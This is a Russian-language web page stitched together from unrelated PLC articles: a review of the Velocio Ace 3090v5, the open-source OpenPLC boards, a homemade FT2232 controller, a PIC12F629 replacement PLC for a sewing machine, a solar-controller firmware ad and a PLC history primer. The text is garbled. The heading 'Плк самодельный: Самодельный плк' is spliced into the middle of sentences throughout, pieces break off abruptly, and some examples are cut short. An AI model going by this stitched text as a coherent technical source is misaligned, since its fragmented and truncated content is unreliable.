Плк самодельный: Самодельный плк

ПЛК

Программируемый логический контроллер (PLC) — микропроцессорное устройство, предназначенное для выполнения определенной программы. Как правило, ПЛК применяются в промышленности.

Обзор ПЛК фирмы SIEMENS

Дано описание линии ПЛК выпускаемых фирмой SIEMENS. Приведены краткие описание ПЛК, возможности расширения, сред разработки программ и HMI интерфейсов. Является отправной точкой в цикле статей посвященных ПЛК SIEMENS.

Автор:
tvilsa

17
0

[0]

Simatic S7-200 быстрый старт. Часть 1

Описаны основы работы с ПЛК SIMATIC S7-200. Установка соединения MicroWin с ПЛК. Написание простейших программ. Диагностика и отладка программы.

Автор:
tvilsa

5
0

[0]


Похожие статьи:

S7-200 создание HMI интерфейса

Рассматриваются варианты создания HMI интерфейса для системы на базе ПЛК S7-200

Автор:
tvilsa

3
0

[0]

Simatic S7-200 быстрый старт. Часть 2.

Продолжение статьи по работе с ПЛК Siemens Simatic S7-200. В очередной статье мы рассмотрим основные операции выполняемые над входами выходами и аналоговыми данными, конфигурирование и использование таймеров и счетчиков, а также создание и работу с функциями.

Автор:
tvilsa

15
4.7

[1]


Похожие статьи:

Микро ПЛК. Обзор, функциональные возможности

Среди большого семейства программируемых логических контроллеров (ПЛК) есть небольшое подсемейство, специально созданное для малых локальных систем управления – микро ПЛК или программируемые реле.

Автор:
alfix

6
0

[0]

2012 г.

Программируемые логические контроллеры

ПЛК – программируемый логический контроллер, представляют собой микропроцессорное устройство, предназначенное для сбора, преобразования, обработки, хранения информации и выработки команд управления, имеющий конечное количество входов и выходов, подключенных к ним датчиков, ключей, исполнительных механизмов к объекту управления, и предназначенный для работы в режимах реального времени.

Автор:
sulika

7
0

[0]


Похожие статьи:

2012 г.

Программирование ПЛК

Как и было описано, в первой статье, ПЛК осуществляет циклическое чтение входов, выполнение прикладной программы и запись выходов. Потому написание программы для ПЛК отличается от традиционного написания программы для микроконтроллеров и ПК. К программам для ПЛК предъявляются жесткие требования по надежности, одно дело зависает текстовый редактор, а другое дело программа, управляющая ядерным реактором.

Автор:
sulika

5
0

[0]


Похожие статьи:

Дешевый ПЛК на 16 входов и 16 выходов

Рассмотрен вариант замены промышленного ПЛК (программируемого логического контроллера) на самодельный с минимальными затратами.

Автор:
sergej_shaggy

16
4

[2]

Выравниватель рядов продукции на Siemens Logo!

Выравниватель рядов продукции на программируемом реле Siemens Logo. Приводится описание электрической схемы, кода программы на языке FBD, видео работы. Имеется исходник кода.

Автор:
Evgeny G88

7
0

[0]

Конструктор для сборки устройств автоматизации Tibbo Project System

Приветствуем вас, уважаемые читатели. В этой статье речь пойдет о разработке тайваньской компании Tibbo Technology – аппаратной платформе для создания устройств автоматики — Tibbo Project System. Если вы увлекаетесь электроникой, любите экспериментировать и разработка собственных устройств является для вас хобби, то эта статья будет вам интересна.

Автор:
ikorposh

0
0

[0]

Весь список тегов

маленький контроллер для «умного дома» / Хабр

Я занимаюсь разработкой программ для программируемых логических контроллеров(ПЛК) в промышленных автоматизированных системах управления технологическими процессами(АСУ ТП).

Для тех, кто сталкивается с этим словом впервые, поясню. ПЛК это специальный мини-компьютер, который работает так:

1. Принимает входные дискретные (Di) или аналоговые (Ai) сигналы;

2. Обрабатывает эти сигналы по заданной программистом программе;

3. Выдает управляющий сигнал через дискретные (DO) или аналоговые (AO) выхода.

Дискретный — когда у сигнала может быть только 2 состояния: 0 или 1, «да» или «нет». Например, кнопка нажата или отжата, лампочка включена или выключена.

Аналоговый — когда значение параметра зависит от уровня электрического сигнала. Например, чем выше уровень сигнала (вольт или миллиампер) от датчика температуры, тем больше измеряемая температура.Плк самодельный: Самодельный плк

Применяются ПЛК в основном в промышленности, станках, системах домашней автоматизации «умный дом» и т.д.


Естественно, в силу профессии меня интересует все, что касается ПЛК и другого оборудования, применяемого в АСУ ТП. Как-то, бродя по сети, я зашел на сайт американской компании Velocio, которая производит ПЛК серий Ace, Branch, Embeded.

Главные фишки этих контроллеров — маленький размер, всего 2.5» x 2.5», питание 5 вольт и цена от 49$ за модель с 6 дискретными входами и 6 дискретными выходами. Особенно впечатлил размер, такого маленького ПЛК я еще не встречал:

ПЛК меня заинтересовал, я связался с компанией Velocio и мне прислали контроллер модели Ace 3090v5. Хотелось бы вкратце рассказать об этом ПЛК и более широкой аудитории Хабра. Забегая вперед скажу, что ПЛК компании Velocio лучше всего подходят для «умных домов» и прочих систем домашней автоматизации.

Вот ко мне пришла посылочка с контроллером прям из города Хантсвилл, штат Алабама:

Состав посылки:

1. ПЛК Velocio Ace 3090v5, $179

2. Крепление на DIN-рейку, $5

3. Коннекторы сигнальных линий (3,4,8 pin, шаг 2.5 мм), 6 шт., $6*3

4. Отвертка плоская, жало 1.5 мм, бесплатно

5. Коннектор питания (2 pin, шаг 2.5 мм), $2

6. Кабель USB Am-miniB, $5

Кабель USB для программирования Ace не обязательно покупать в Velocio, это обычный кабель USB Am-miniB, который продается в любом компьютерном магазине. Коннекторы тоже можно поискать в другом месте, но крепление на DIN-рейку уникально и его нужно покупать вместе с контроллером.

Ожидания Ace 3090v5 оправдал, он действительно очень маленький:

Характеристики:


















НазваниеVelocio Ace 3090v5
НазначениеПЛК для домашней и промышленной автоматизации
Кол-во DI6
Кол-во DO18, транзисторные
AIКол-во, всего7
Кол-во AI 16 бит/ тип4/ Термопары J, K, T, N;

±0.Плк самодельный: Самодельный плк 256 V, ±0.512 V, ±1.024 V, ±2.048 V
Кол-во AI 12 бит/ тип 3/ 0…+5 V
Порты связиMini USB(может работать по Modbus), RS-232
Протоколы передачи данныхModbus RTU slave
Скорость передачи данных, bps9600, 19200, 38400, 57600
КреплениеDIN-рейка
Питание5 V DC
Габариты63.5х63.5х12.7 мм
Температура эксплуатации-40… 85°С
Степень защиты IPIP65
Среда программированияVelocio vBuilder, бесплатная
Цена179 $

Конструкция

При своих размерах, контроллер в общей сумме имеет 31 вход и выход, порт последовательной связи RS-232 и порт Mini USB для загрузки программ и связи с внешними устройствами.

Спереди на корпусе видны светодиоды индикации питания и состояния дискретных входов и выходов:

Сзади на корпусе имеются выемки для монтажа крепления на DIN-рейку:


На боковых стенках корпуса находятся порты для подключения всех сигналов через разъемы. Порты маркируются литерами A, B, C, D, E, F:

Подключение проводов происходит через коннекторы COMBICON PTSM Series фирмы Phoenix Contact с шагом ножек 2.5 мм (0.098»):

Вставляются провода в коннектор с помощью идущей в комплекте с ПЛК отверткой так:

Дискретные выхода- транзисторные, на то есть такие причины:

  • реле в корпус контроллера все равно не поместится
  • для обеспечения большого быстродействия, например при управлении шаговыми двигателями

Естественно, для коммутации электрической сети 220 В транзисторные выхода не подходят и нужно после них ставить промежуточные реле.Плк самодельный: Самодельный плк Можно купить модули с промежуточными реле там же у Velocio, при покупке ПЛК. А можно сэкономить и купить на ебее аналогичные китайские платы, как сделал я:

Аналоговые входа (Ai) в Ace 3090v5 разделены на 2 группы:

  • 3 Ai с общей землей в порту A, диапазон входных сигналов 0… 5 V
  • 4 Ai дифференциальных в порту F, подключение датчиков температуры(термопар) типа J, K, T, N, а так же милливольтных сигналов

Вот я подключил на вход Ai F1 термопару типа «К» от китайского тестера и вывел значение температуры на ноутбук:


Кстати, в этом примере я термопару в контроллере не калибровал. Тем не менее, показания температуры соответствовали значениям спиртового градусника, который выступал у меня в роли контрольного прибора.

Ace отличается маленьким энергопотреблением: 5 В при макс. силе тока до 0.3 А. То есть, в качестве блока питания можно использовать 5-вольтную зарядку для мобильника.

Программирование

Разработка программ осуществляется через бесплатную среду программирования vBuilder. В пакете установки находится так же драйвер виртуального COM-порта, необходимый для подключения контроллера к компьютеру:

Изучение vBuilder лучше начать с просмотра видеоуроков. Есть так же полная документация на английском языке под названием «vBuilder Manual» в несколько сотен страниц.

Разработка программ возможна на двух графических языках: языке релейной логики(Ladder Logic) и языке блок-схем(Flow Chart).

Язык релейной логики (Ladder Logic) это хорошо известный всем программистам ПЛК язык LD, который является одним из стандартизированных по стандарту IEC 61131-3 промышленным языком.

LD придумали специально для того, что бы на нем писали программы не только программисты, но и обычные электрики. Программа на LD и выглядит, как электрическая схема:

Это легкий для изучения и работы язык.Плк самодельный: Самодельный плк

Язык блок-схем (Flow Chart) это графический язык, на котором программа создается в виде блок-схем:

Блок-схемы и принципы их построения многие помнят еще со времен информатики в школе. Например, я закончил 11 класс в 1999 году, в мрачные времена постсоветского компьютерного средневековья. Тогда фирма «Интел» уже торговала процессорами Pentium-II, Билл Гейтс продавал Windows 98, а в нашей школе стояли советские компы «Электроника» с черно-белыми экранами. Большую часть урока мы сидели за партой и рисовали программы в тетрадях именно блок-схемами. Потом переводили их на бейсик, садились за «Электронику» (по 4 человека на машину) и уже после вводили в компьютер. А в других школах вообще компьютеров не было.

Так что для начинающих язык Flow Chart даже легче, чем LD. При этом, по моему мнению, он нагляднее и позволяет создавать более сложные программы. Кстати, блок-схемы я часто использую и сейчас, работая с различными ПЛК. Когда мне нужно продумать какой-нибудь сложный алгоритм, я сначала рисую блок-схемы на листике, а потом уже перевожу их в программу на конкретном языке.

В обоих языках программирования доступны одни и те же программные блоки:

  • сравнение(<, >,= и др.)
  • присваивание с возможностью ввода формул
  • копирование
  • счетчик
  • таймер
  • часы реального времени
  • цифровой фильтр
  • чтение энкодеров
  • управление шаговым двигателем
  • ПИД-регулятор
  • ШИМ
  • плавный пуск/останов
  • масштабирование
  • побитовый сдвиг и «переворот» числа
  • статистика
  • управление com-портом для реализации собственных протоколов передачи данных
  • вызов подпрограмм

В качестве «быстрого хэлпа» по программным блокам используется та же страница загрузки vBulder. Просто жмешь по пиктограммам соответствующих блоков vBuilder справа на странице и читаешь, как они работают:

Если с английским совсем туго, на помощь придет переводчик браузера Ghrome: правая кнопка мыши-> перевести на русский.Плк самодельный: Самодельный плк Перевод технический, но смысл будет понятен.

Доступные возможности при программировании:

  • создание собственных переменных (тэгов) типа bit, unsigned int 8/16 bit, signed int 16/32 bit, float;
  • создание массивов;
  • создание подпрограмм;
  • причем, подпрограммы здесь это объекты по типу FB как в Step-7 и Codesys;
  • каждому входу/выходу и тэгам можно назначить адрес для передачи их значений по Modbus;
  • cвязь по Modbus с ПК, сенсорными панелями и др. по Modbus в режиме slave; возможно подключение по Modbus к 2-м мастер-устройствам одновременно;
  • возможность реализовывать собственные протоколы передачи данных по RS-232;
  • отладка программы по шагам.

Подключение Ace к компьютеру и сенсорным панелям

Для связи с внешними устройствами по сети в Ace 3090v5 имеется 2 порта: RS-232 и USB. Оба этих порта могут передавать данные по протоколу Modbus RTU slave. Одновременно к Ace могут быть подключены 2 мастер устройства. Например, компьютер по USB, а сенсорная панель по RS-232. Для управления с компьютера применяются специальные программы типа SCADA, но можно и на каком-нибудь визуал бейсике программу написать.

RS-232 это старый добрый COM-порт компьютера. Раньше в него мыши подключались. Для подключения компьютера к Ace я и нашел старую комовскую мышь с шариком, отрезал от нее хвост и подключил его к 3-пиновому разъему RS-232 Aсe вот по такой схеме:

Если в компьютере нет COM-порта, нужно купить любой преобразователь USB/RS-232 по цене около $8.

Варианты реализации обмена данными Ace с внешними устройствами:

  • по внутреннему протоколу Ace для связи с компьютером, на котором установлена бесплатная SCADA vFactory;
  • по универсальному протоколу передачи данных Modbus RTU для связи с компьютерами, сенсорными панелями и другими ПЛК;
  • по собственному протоколу, реализованному программным путем в контроллере.Плк самодельный: Самодельный плк

Бесплатная СКАДА vFactory работает только с ПЛК компании Velocio, потому что использует не Modbus, а внутренний закрытый протокол контроллеров. Документации на vFactory нет, чтобы ей овладеть, достаточно одного видеоурока. Очень простая СКАДА без скриптового языка и возможности ведения архивов. Панель инструментов невелика:

Зато, можно быстро сделать работающую программу без особых навыков программирования:

Если возможностей vFactory маловато, можно подключить по протоколу Modbus RTU любую другую SCADA. Например, в ролике с термопарой, я применил SCADA Trace Mode 6 Base.

Можно в Ace запрограммировать и собственный протокол передачи данных, этому посвящен отдельный видоурок.

ПЛК Ace в домашней автоматизации

Думаю, этот контроллер хорошо себя покажет в системе «умный дом». Плюсы контроллера: маленький размер, малое энергопотребление, питание всего от 5 В, множество дискретных выходов, возможность подключения термопар, 2 порта связи с внешними устройствами, легкость программирования, большое количество разных программных блоков.

Если контроллер Ace понравился, но 6 дискретных входов маловато, можно присмотреться к серии Branch — тот же Ace, только с возможностью подключения модулей расширения (до 450 входов/выходов). Впрочем, это уже без меня — мне пока хватит поиграться Ace.

РадиоКот :: PLC своими руками

РадиоКот >Чердак >

PLC своими руками

PLC — это программируемый логический контроллер(ПЛК), управляющий промышленными процессами автоматизации, такой себе стабильный аналог ардуины. Управление, разумеется тоже специфичное — вместо С подобных операторов, ПЛК управлянется специальным таким языком LD (Ladder Diagram). Стоят подобные изделия весьма дорого.

С помощью ПЛК строят автоматические линии, промышленные станки с ЧПУ, следящие устройства автоматики и т.д.

Начнем.

Автор проекта — некий Тиаго Родригез Альвез(Thiago Rodrigues Alves).Плк самодельный: Самодельный плк

 

А это непосредственно вид платы без корпуса (которого кстати нет вообще, лол) было бы прекрасно, если бы участники сообщества сделали это. Однако в целом устройство являет собой полностью готовый контроллер, готовый к установке в изделие. 

Я люблю Open-Sorce Hardware за то, что мне дают возможность вдоволь изучить четрежи, в OSS такой возможности для меня нет, я думаю, что самое время обнажить эту часть проекта.

Платы построены в среде KiCad, автор изучил данную среду и настойчиво рекомендует её к использованию, она гораздо лучше Sprint-Layout.

Плата шины — аналог материнской платы для размещения блоков

Плата ввода — блок для входящих данных

Плата вывода — блок для выходящих данных

Плата процессора — блок логической обработки данных

 

Готово, вы великолепны, осталось прошить эти самые платы соответствующим ПО:

Плата ввода, платы вывода, плата процессора

Прошивка происходит посредством Arduino IDE v1.0.3. причем для блока процессора целью будет ARDUINO MEGA 2560, остальные же ARDUINO UNO.

Автором проекта разработаны среды для программирования и наладки устройства:

OpenPLC Ladder Software в котором осуществляется создание LD схем для работы устройства,

а также OpenPLC Configuration tool(необходима платформа .NET Framework 4.0).

 

от автора:

Я буду собирать это устройство, чтоб посмотреть его работоспособность и выложить мануал по сборке, настройке и отладке, статья со временем будет дописываться, 

С уважением, kravc

оригинал взят с сайта Open Source Engineering 




Все вопросы в
Форум.


Как вам эта статья?

Заработало ли это устройство у вас?

Простейший программируемый логический контроллер на базе микросхемы FT2232.

Плк самодельный: Самодельный плк

При знакомстве с функциональными возможностями чипа FT2232, в частности исследовался BitBang режим, была написана программка для связи компа с внешним миром. Потом возникла идея сделать программу, которая обрабатывала бы входную информацию и что-то передавала на выход (отродясь не писал таких заумных слов, надеюсь, получилось не очень страшно).
Работа, прежде всего, предназначена для моргания светодиодами, так же будет полезна подрастающему поколению, только вступившему на тернистый путь освоения электроники, ещё может использоваться при изучении работы не очень сложных микросхем, опять же, если срочно надо поменять микросхему, а под рукой ничего нет, можно эмулировать работу чипа, короче вещь в хозяйстве незаменимая)

Программа.

Программа писалась на VB6 в среде Windows XP. Для полного счастья необходимо скачать драйвера на сайте производителя чипа www.ftdichip.com/Drivers/D2XX.htm и запустить программу (если лень возиться с железом и драйверами, будет работать и так, но полного кайфа уже не получите).
После запуска программы попадаем на вкладку Configuration.


Здесь, в правом верхнем углу нам показывают, что у нас подключены два девайса, именуемые А и В. Надо запомнить эти названия, потому, что после мы будем общаться с ними по имени. Ещё можно узнать, что чувствуют они себя отлично и главное, что с ними можно работать. С левой стороны у нас находятся два квадратика. Здесь мы должны определить, какие ножки будут работать на вывод, а какие на ввод. На верхнем квадратике конфигурируем канал А, на нижнем – В. Делается это просто: наводим мышкой на интересующий вывод, и нажимаем левую кнопку мыши, тем самым мы устанавливаем его функциональное назначение, IN/OUT, ввод/вывод, соответственно. Обозначения D7…D0 говорят о том, что в нашем распоряжении имеется аж по восемь ножек на каждом канале. Там ещё кнопочки есть, написано Apply, если устройство подключено, то они будут активны и их необходимо нажать, для того, чтобы прописать конфигурацию в чип.Плк самодельный: Самодельный плк .

= — операция присваивания.

Красным цветом окрашены кнопки редактирования.

Open – открытие программ.

Save – сохранение программ.

INS – вставка команд.

DEL- удаление команд.

И, наконец, пробел, ничего не пишет, просто для наведения красоты.

Остались еще два квадратика обозначенные Force Channel A и Force Channel В.

Здесь будет отображаться состояние выводов чипа, синим цветом – логический 0, красным – 1, окрашиваются только во время выполнения программы. Ещё есть возможность принудительной установки бита в нужное нам состояние. Для этого щелкаем мышью интересующий бит, появится контекстное меню, где можно выбрать, что нам требуется от этого вывода, если бит форсирован, на нем появится буква F.

Force 1 – установит логическую 1.

Force 0 — установит логический 0.

Unforce – состояние вывода определяется программой или внешним сигналом.

И последнее, остались две кнопки с зеленым треугольником и красны квадратом, это соответственно запуск и остановка программы.

В следующем посте напишу непосредственно о программировании, и выложу доки на железо, а на сегодня хватит, Пасха все-таки)))

И ещё не судите очень строго, это первая проба пера.

Самодельный плк. Принцип работы и основы программирования плк. Основы программирования ПЛК

Программируемые логические контроллеры (ПЛК) прочно вошли в современную промышленную электронику. Номенклатура выпускаемых в настоящее время ПЛК настолько обширна, что трудно представить задачу, для решения которой не нашлось бы подходящего ПЛК. Богатая периферия, мощные процессора, большой объем памяти, наличие модулей расширения — это только краткий перечень свойств современных ПЛК.

Однако, следует отметить, что в условиях производства очень часто не требуется огромных вычислительных мощностей. Большинство станков, использующихся в производстве, выполняют четко заданные операции и не являются универсальными.Плк самодельный: Самодельный плк Очень часто у этих станков даже нет дисплея, а все параметры задаются с помощью кнопок или переключателей. Грубо говоря, установленные на этих станках ПЛК порой используются для замены стойки с пускателями/реле/концевиками. И довольно часто встречаются ситуации, когда на замену устаревшего оборудования, выполненного с использованием пускателей, поступает оборудование этого же производителя с аналогичной функциональностью, но уже с использованием ПЛК.

Как-бы то ни было, иногда возникает ситуация, что ПЛК выходят из строя и ремонт возможен только у производителя. Ведь простая замена ПЛК на точно такой же ничего не дает, поскольку отсутствует управляющая программа. Хорошо, если производитель в такой ситуации может оказать помощь. А если нет? Брать другой ПЛК и программировать его самостоятельно? Но если уж приходится самостоятельно программировать, то почему обязательно ПЛК? Не будет ли проще и дешевле запрограммировать систему на базе микроконтроллера? Ведь, как отмечалось выше, в ПЛК заложено много избыточных функций и вычислительных возможностей, за которые приходится платить.

Именно из соображений, изложенных выше, была разработана схема простого ПЛК для замены вышедшего из строя ПЛК KUAX667 на швейном автомате VS3005 — AMF Reece S 2000. Не будем останавливаться на описании данного швейного автомата, тем более, что рассматриваемая здесь схема повторно использовалась на другом станке в мебельном производстве. При разработке ПЛК ставилась задача создать схему максимально дешевую, из доступных деталей, с возможностью диагностики даже с учетом отсутствия дисплея. Также было принято решение отказаться от гальванической развязки входных цепей, поскольку датчиками служили кнопки, концевики и переключатели, осуществляющие простой механической контакт.

Схема устройства и принцип работы аналогичны построению большинства промышленных ПЛК. Есть центральный микроконтроллер и есть порты ввода-вывода.

За основу взят микроконтроллер фирмы PIC12F629. Этот микроконтроллер выбран исходя из доступности и дешевизны.Плк самодельный: Самодельный плк Входа и выходы реализованы с помощью сдвиговых регистров. Логически они разбиты на две группы по 8 контактов. Передача данных происходит в последовательном виде. Протокол передачи данных идентичен протоколу SPI, однако он полностью реализован программно и на 16 бит. Цепи для входных данных и выходных данных сделаны раздельными. Это, на мой взгляд, облегчает понимание работы и упрощает контроль. Кроме того это позволило использовать ранее написанные модули для приема-передачи данных в сдвиговые регистры. Ну и все-равно эти выводы остались бы неиспользованными, так зачем пропадать добру:) . Входными элементами являются концевики, кнопки, переключатели с коммутацией на общий провод. Поэтому входа реализованы без использования оптопар. Конечно, это снижает надежность схемы. Но, как показала практика, ПЛК работает стабильно. При использовании регистров 155ИР9 или 555ИР9 подтягивающие резисторы к +5 В можно не устанавливать (именно этот вариант представлен на фото ниже). При использовании регистров 74HC165 наличие подтягивающих резисторов обязательно. Особо следует отметить вход 1.0. Этот вход реализован с использованием оптопары и расширителем импульсов на микросхеме 155ЛА3. В одном из станков датчиком вырабатывался импульс +24 Вольта и длительностью около 1 мксек. Поскольку реальная частота опроса входов составляла около 1 кГц, то был риск, что импульс будет пропущен. Для исключения этого в схему был введен расширитель импульсов, увеличивающий время импульса примерно до 0,1 сек. Время импульса определяется элементами C1, R4. Перестановкой джамперов на плате (на схеме джамперы не указаны, их можно отследить по печатной плате) возможна коммутация входа 1.0 минуя оптопару, минуя расширитель импульсов или минуя оптопару и расширитель импульсов. Благодаря встроенным в регистры триггерам, фиксирующим входные уровни по сигналу строба, исключена возможная неопределенность уровней логический «0» или «1». Это, а также последовательный опрос входных цепей микроконтроллером, позволило не учитывать явление «дребезга», характерное для механических датчиков.Плк самодельный: Самодельный плк Исполнительными механизмами являются обмотки пневмоклапанов и реле, которые подсоединены к сдвиговым регистрам 74HC595 через микросхемы-драйвера ULN2803. Питание осуществляется от источника постоянного напряжения +24 Вольта, имеющегося в станке для питания обмоток реле и пневмоклапанов, через импульсный стабилизатор напряжения на LM2576 (микросхема в корпусе TO-263 для поверхностного монтажа, расположена со стороны фольги, фольга же служит и радиатором), включенной по типовой схеме.

Вся схема собрана на плате 100*130 мм. Рядом с каждой микросхемой по питанию стоит конденсатор, емкостью по 0,1 mkF (на схеме не показаны). Как уже выше отмечалось, в устройстве использовались микросхемы 555ИР9, не требующие подтягивающих резисторов. Тем не менее, для использования 74HC165, на плате предусмотрена возможность установки подтягивающих резисторов, которые могут быть от 1 до 10 кОм. В качестве подтягивающих резисторов хорошо использовать сборки сопротивлений типа 9A472J (неиспользуемые выводы просто обкусываются), которые широко применялись в компьютерах на базе 286-486 процессоров.

Программа для микроконтроллера написана в среде PIC Simulator IDE, которая использует диалект языка BASIC. Использование BASIC позволяет легко разрабатывать программы не особо погружаясь в архитектуру микроконтроллеров. Кроме того, так или иначе, с реализациями языка BASIC приходится сталкиваться начиная со школьной скамьи и у большинства непрофессиональных разработчиков он не вызывает почтительного опасения. Рассмотрим программу и остановимся на тех местах, где непосредственно происходит настройка на тот или иной станок.

Программа прилагается в полной версии для швейного автомата. Сначала идет секция описания переменных и символов. При переделке программы под другое оборудование неизменными будут строки с 7 по 11, здесь объявляются переменные для полученных/передаваемых данных и служебная переменная и с 18 по 28, относящиеся к описанию контактов для протокола приема/передачи данных.Плк самодельный: Самодельный плк Далее в программе с 50-й по 96-ю строки идет проверка на включение режима «Тест» и реализация тестового режима. Режим «Тест» включается установкой перемычки между выводом GP2 (5-й вывод) и общей шиной (кнопка «Test» по схеме) до подачи питания на схему. При подаче питания микроконтроллер устанавливает вывод GP2 как вход (строка 54), включаем подтягивающие резисторы (стоки 64,65), производит опрос состояния вывода GP2 (строка 76). Если режим тестирования установлен, то после снятия перемычки начинается бесконечный цикл (стоки 81-95), в котором состояние выходов напрямую зависит от состояния входов. Таким образом последовательно замыкая входа мы можем проверить срабатывание исполнительных элементов, подсоединенных к выходам, т.е. произвести тестирование оборудования от датчиков до исполнительных механизмов.

При подаче питания без установленной перемычки микроконтроллер перейдет к участку программы, где запрограммирован непосредственно рабочий режим станка (в данной программе это строки 98-261). Эта часть программы оставлена для примера и, поскольку она привязана непосредственно к оборудованию, то особо ее рассматривать не будем. Остановимся только на общих принципах работы и подпрограммах приема-посылки данных. В простейшем случае при работе оборудования производится опрос входов (подпрограмма data_input, используемая в ней подпрограмма sinchro_input). Состояние входов в программе сохраняется в переменных data_in1 и data_in2. В зависимости от алгоритма работы оборудования в программе анализируется состояние входов, принимается решение об изменении состояния выходов и это решение записывается в данные data_out1 и data_out2. После этого производится вывод данных (подпрограмма data_out, используемая в ней подпрограмма sinchro_out). И так цикл повторяется до прекращения подачи питания. В случае необходимости возможна организация программы с использованием прерываний микроконтроллера. К примеру, это может понадобится при осуществлении операций на оборудовании, ограниченных по времени.Плк самодельный: Самодельный плк

При программировании микроконтроллера необходимо установить слово конфигурации в &h41С4. Расшифровку можно посмотреть на рисунке ниже.

P.S. Этот абзац специально для критиков. Как уже выше отмечалось, программа писалась не «с нуля», а с использованием уже готовых наработок. Поэтому в программе много комментариев от предыдущих программ, в том числе имеются и комментарии, касательно использования прерываний по таймеру. Я специально не стал их убирать, поскольку считаю, что они могут помочь другим людям при модификации программы. Если же данную программу переписать заново, то наверняка можно достичь более оптимального кода и более высокой частоты опроса входных элементов. Как говориться «нет такой программы, которую нельзя сократить хотя бы на одну команду». Но даже в таком виде программа занимает менее 700 байт и станок, под управлением данной программы, работает стабильно.

Ну и напоследок фотографии собранной и установленной в станок платы.

В архиве:
1. PLC 12F629 — исходный файл и HEX файл.
2. Проект в .
3. Печатная плата в

Список радиоэлементов
ОбозначениеТипНоминалКоличествоПримечаниеМагазинМой блокнот
U1МК PIC 8-бит

PIC12F629

1В блокнот

U2, U3Сдвиговый регистр

SN74HC595

2В блокнот

U4, U5Сдвиговый регистр

SN74HC165

2В блокнот

U6Вентиль

SN7400

1В блокнот

U7Оптопара

Уже не просто контроллер солнечных систем…

Включить, если T2>40C и выкл если T2

Хотя, основное назначение самодельного контроллера — работа в гелиосистемах, некоторые уже умудряются его применять и для твердотопливных котлов.Плк самодельный: Самодельный плк В данной статье хочу рассказать о новых возможностях прошивки MEGA CtrlM, которую вы можете купить за $4.95, обратившись ко мне.

Новая прошивка поддерживает 8 датчиков температуры (очень скоро добавлю еще 8) и 8 выходов под реле. Но самое интересное, что появилась возможность назначить свои условия! Как часто бывало, что вы читаете инструкцию на какой-нибудь контроллер, и вам не хватает еще одной маленькой функции, чтобы полноценно интегрировать его в вашу систему? Приходится либо искать более дорогой контроллер либо докупать еще один.

Мой контроллер стал более гибким. Теперь, по вашему желанию, вы можете запрограммировать логику работы 4-х или 8-и выходов. Если вы используете одну из стандартных схем, то выходы в ней уже заняты – как правило 1 – 4, и тогда вы можете программировать выходы 5, 6, 7, 8. А если вы выбрали схему Custom
(пользовательская) тогда для настройки доступны все 8 выходов с первого по восьмой.

Как же программировать?

Контроллер поддерживает 3 типа условий. Обычные – это условие для нагрева или охлаждения. Дифференциальные — не пугайтесь этого слова, это обычная разница между двумя датчиками температуры. Такие условия служат для перекачки тепла или холода из одного места в другое. И третье условие – блокировка выхода, если температура перешагнула через заданный порог.

Перейдем к конкретным примерам. Допустим, вы хотите использовать контроллер не для солнечных коллекторов, а для поддержки постоянной температуры в доме!

Пусть у вас есть электрический или газовый котел, и два этажа с раздельным отоплением. Т.е для нагрева первого этажа надо включить выход P1 (это может быть электрический теплый пол, или насос который гоняет горячую воду по полу или радиаторам отопления), а для нагрева второго этажа надо включить выход P2. Тогда условия будут такие:

[+]P1: T1 19.8C
On 23.0C
[+]P2: T2 19.5C
On 22.0C

19.8C и 19.5C — это просто текущее зачение датчик T1 и Т2 соответственно.

Первое условие включит выход P1 как только температура упадет ниже 21 градуса в помещении, и выключится когда комната или этаж нагреется до 23 градусов.Плк самодельный: Самодельный плк Таким образом вы сможете избегать перегрева помещения – главный враг экономии. Ведь разумно экономить энергоресурсы (деньги) можно только одним способом – сжигать их ровно столько сколько надо, и ни каплей больше!

Для второго этажа все аналогично, выход P2 включится, когда на втором этаже температура упадет ниже 20 градусов, и выключится, когда этаж нагреется до 22 градусов. Обычно, на втором этаже (спальном) допускается меньшая температура, чем на первом.

Разумеется, что вы можете выставлять любую желаемую для вас температуру, но помните: устанавливайте комнатную температуру ровно такой, чтобы обеспечить чувство комфорта. Увеличение на каждый градус обозначает увеличение расхода энергии приблизительно на 6 %. При задании температуры учитывайте назначение помещения. Так, например, обычно не требуется нагревать до 20 °C спальню или редко используемые помещения.
Vaillant

На схеме изображено как контроллер может поддерживать постоянную температуру в доме. Он снимает показания с датчиков Т1 и Т2 (первый и второй этаж) и при этом перекрывает или открывает батареи (радиаторы) с помощью релейных выходов P1, P2 которые подключены к сервоприводам.

Замечательно то, что если вместо выхода P1 и Р2 использовать P5 и P6 а вместо датчика T2, к примеру T5, то контроллер при этом сможет управлять солнечными коллекторами, и так же отслеживать температуру в вашем доме.

Если освободить датчик Т2 и выход P1, которые используются для логики управления солнечным коллектором, то вы сможете и регулировать температуру в доме и управлять насосом вашей гелиосистемы.

Рассмотрим более сложный пример, но очень похожий…

Программируемые логические контроллеры (ПЛК)

До появления твердотельных логических схем разработка систем логического управления основывались на электромеханических реле. По сей день реле не устарели в своем предназначении, но все же в некоторых своих прежних функциях они заменены контроллером.

В современной промышленности существует большое количество различных систем и процессов, требующих автоматизации, но теперь такие системы редко проектируются из реле.Плк самодельный: Самодельный плк Современные производственные процессы нуждаются в устройстве, которое запрограммировано на выполнение различных логических функций. В конце 1960-х годов американская компания «Bedford Associates» разработала компьютерное устройство, названное MODICON (Modular Digital Controller). Позже название устройства стало названием подразделения компании, спроектировавшей, сделавшей и продавшей его.

Другие компании разработали собственные версии этого устройства, и, в конце концов, оно стало известно как ПЛК, или программируемый логический контроллер
. Целью программируемого контроллера, способного имитировать работу большого количества реле, была замена электромеханических реле на .

ПЛК имеет набор входных клемм, с помощью которых можно контролировать состояние датчиков и выключателей. Также имеются выходные клеммы, которые сообщают «высокий» или «низкий» сигнал индикаторам питания, электромагнитным клапанам, контакторам, небольшим двигателям и другим самоконтролируемым устройствам.

ПЛК легки в программировании, так как их программный язык напоминает логику работы реле. Так обычный промышленный электрик или инженер-электрик, привыкший читать схемы релейной логики, будет чувствовать себя комфортно и при программировании ПЛК на выполнение тех же функций.

Подключение сигналов и стандартное программирование несколько отличаются у разных моделей ПЛК, но они достаточно схожи, что позволяет разместить здесь «общее» введение в программирование этого устройства.

Следующая иллюстрация показывает простой ПЛК, а точнее то, как он может выглядеть спереди. Две винтовые клеммы, обеспечивающие подключение для внутренних цепей ПЛК напряженим до 120 В переменного тока, помечены L1 и L2.

